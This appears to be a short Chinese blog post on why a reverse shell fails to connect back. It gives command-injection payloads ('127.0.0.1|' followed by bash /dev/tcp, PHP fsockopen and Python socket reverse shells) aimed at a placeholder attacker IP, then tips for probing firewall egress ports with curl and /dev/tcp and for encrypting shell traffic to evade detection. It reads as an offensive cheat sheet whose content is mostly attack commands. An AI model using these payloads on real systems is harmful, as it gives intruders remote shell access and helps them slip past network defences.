反弹shell不成功排查

反弹不成功排查

今天遇到shell反弹不成功的问题,顺便记下来

0.低权限环境

  • /tmp写入bash反弹脚本执行

127.0.0.1| Echo ‘bash -i >& /dev/tcp/x.x.x.x/7777 0>&1’>/tmp/1.sh
127.0.0.1|bash /tmp/1.sh

  • php反弹shell

127.0.0.1| php -r '$sock=fsockopen("x.x.x.x",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

  • python反弹shell

127.0.0.1 |python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

1.命令存不存在

whereis nc bash python php exec perl ruby java telnet lua
查看命令存不存在或者位置在哪

2.ping

ping一下dnslog看看出不出网

3.出网端口受限

目标服务器网络边界部署了防火墙,设置了出站规则,给出站的端口设置了白名单。
这里只要端口属于白名单内的即可,一般的话,DNS 的 53、HTTP 服务的默认端口 80、HTTPS 的 443 是三个最常见的出站端口,一般最有可能在白名单内,可一一尝试。
当然如果白名单设置得很死,都不是常用端口的话,我们就得使用目标系统自带的curl、telnet、wget等命令来进行出站端口探测。
80端口探测:
例如 curl www.baidu.com:80
有正确回显代表可通80,没有或者等待超时代表不通80端口。
可能遇到目标权限低,且curl、telnet、wget等这几个可探测端口的命令都没有,那么可以使用如下命令来探测:
echo > /dev/tcp/www.baidu.com/80
如果瞬间执行完成代表可出80,如果执行后一直等待,那么代表不出80.
53端口探测:

4.目标机器检测流量

上线后掉了,说明可能存在流量检测设备,应该加密反弹shell流量

posted @ 2024-06-06 18:23  小新07  阅读(17)  评论(0编辑  收藏  举报